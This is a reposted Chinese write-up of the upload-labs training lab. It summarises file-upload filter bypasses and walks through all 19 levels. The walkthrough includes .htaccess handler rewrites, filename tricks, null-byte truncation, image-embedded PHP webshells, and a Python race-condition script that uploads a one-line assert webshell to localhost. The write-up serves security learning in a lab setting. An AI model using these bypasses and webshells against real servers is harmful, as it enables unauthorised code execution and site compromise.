从upload-labs总结上传漏洞及其绕过

转载

gt9000 于 2019-03-08 15:01:03 发布

从upload-l…
2018年6月5日by harmoc
前言
最近在T00ls看到了一份上传漏洞总结。做了一下，感觉确实设计的蛮不错。

上传漏洞类型总结
0x01.限制上传的逻辑在前端
禁用js或者F12修改即可

0x02.仅限制Content-Type
Burp截包，修改Content-Type，然后放行，即可绕过

0x03.可重写文件解析规则绕过
即先上传个.htaccess文件，让解析规则变更

<FilesMatch “.jpg”>
SetHandler application/x-httpd-php

0x04.后缀名黑名单、过滤
黑名单
比如文件名后缀大小写混合绕过。.php改成.phP然后上传即可。感觉和XSS的一些过滤绕过非常相似。

可被利用过滤
这种只删除一次php的，即可：
双写文件名绕过，文件名改成xx.pphphp

0x05.可被利用Windows系统的特性
利用Windows系统的文件名特性
比如文件名最后增加点和空格，写成.php.，上传后保存在Windows系统上的文件名最后的一个.会被去掉，实际上保存的文件名就是.php

Windows文件流特性绕过
文件名改成.php::$DATA，上传成功后保存的文件名其实是.php

0x06.可被截断绕过
上传路径名%00截断绕过
上传的文件名写成11.jpg, save_path改成…/upload/11.php%00，最后保存下来的文件就是11.php

0x07.文件头检查
添加GIF图片的文件头GIF89a，绕过GIF图片检查。

0x08.渲染函数导致可用图片webshell
原理：将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

0x09.条件竞争
利用条件竞争删除文件时间差绕过。

Write up
Pass-01
上传的限制逻辑在前端，js里，限制js执行即可上传成功。

Pass-02
截断上传数据包，修改Content-Type为image/gif，然后放行数据包

Pass-03
重写文件解析规则绕过。上传先上传一个名为.htaccess文件，内容如下：

<FilesMatch “03.jpg”>
SetHandler application/x-httpd-php

然后再上传一个03.jpg

执行上传的03.jpg脚本

Pass-04
方法同Pass-03, 重写文件解析规则绕过

Pass-05
文件名后缀大小写混合绕过。05.php改成05.phP然后上传

Pass-06
利用Windows系统的文件名特性。文件名最后增加点和空格，写成06.php.，上传后保存在Windows系统上的文件名最后的一个.会被去掉，实际上保存的文件名就是06.php

Pass-07
原理同Pass-06，文件名后加点，改成07.php.

Pass-08
Windows文件流特性绕过，文件名改成08.php::$DATA，上传成功后保存的文件名其实是08.php

Pass-09
原理同Pass-06，上传文件名后加上点+空格+点，改为09.php. .

Pass-10
双写文件名绕过，文件名改成10.pphphp

Pass-11
上传路径名%00截断绕过。上传的文件名写成11.jpg, save_path改成…/upload/11.php%00，最后保存下来的文件就是11.php

Pass-12
原理同Pass-11，上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成…/upload/12.php【二进制00】形式

Pass-13
绕过文件头检查，添加GIF图片的文件头GIF89a，绕过GIF图片检查。

使用命令copy normal.jpg /b + shell.php /a webshell.jpg，将php一句话追加到jpg图片末尾，代码不全的话，人工补充完整。形成一个包含Webshell代码的新jpg图片，然后直接上传即可。JPG一句话shell参考示例

png图片处理方式同上。PNG一句话shell参考示例

Pass-14
原理和示例同Pass-13，添加GIF图片的文件头绕过检查

png图片webshell上传同Pass-13。

jpg/jpeg图片webshell上传存在问题，正常的图片也上传不了，等待作者调整。

Pass-15
原理同Pass-13，添加GIF图片的文件头绕过检查

png图片webshell上传同Pass-13。

jpg/jpeg图片webshell上传同Pass-13。

Pass-16
原理：将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。

打开被渲染后的图片，Webshell代码仍然存在

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告，并提示文件不是jpg格式的图片。但是实际上已经上传成功，而且示例文件名没有改变。

从上面上传jpg图片可以看到我们想复杂了，程序没有对渲染异常进行处理，直接在正常png图片内插入webshell代码，然后上传示例文件即可，并不需要图片是正常的图片。

程序依然没有对文件重命名，携带webshell的无效损坏png图片直接被上传成功。

Pass-17
利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。

#!/usr/bin/env python

coding:utf-8

Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()
raw = “”"POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------------------------6696274297634
Content-Length: 341

----------------------------6696274297634
Content-Disposition: form-data; name=“upload_file”; filename=“17.php”
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
----------------------------6696274297634
Content-Disposition: form-data; name=“submit”

上传
----------------------------6696274297634–
“”"
code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php’, raw=raw)
print(str(code) + “\r”)

pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
在脚本运行的时候，访问Webshell

Pass-18
刚开始没有找到绕过方法，最后下载作者Github提供的打包环境，利用上传重命名竞争+Apache解析漏洞，成功绕过。

上传名字为18.php.7Z的文件，快速重复提交该数据包，会提示文件已经被上传，但没有被重命名。

快速提交上面的数据包，可以让文件名字不被重命名上传成功。

然后利用Apache的解析漏洞，即可获得shell

Pass-19
原理同Pass-11，上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

后记
有些非预期解
等找到更多思路继续补充

原文链接

http://poetichacker.com/writeup/%E4%BB%8Eupload-labs%E6%80%BB%E7%BB%93%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%85%B6%E7%BB%95%E8%BF%87.html

服务推荐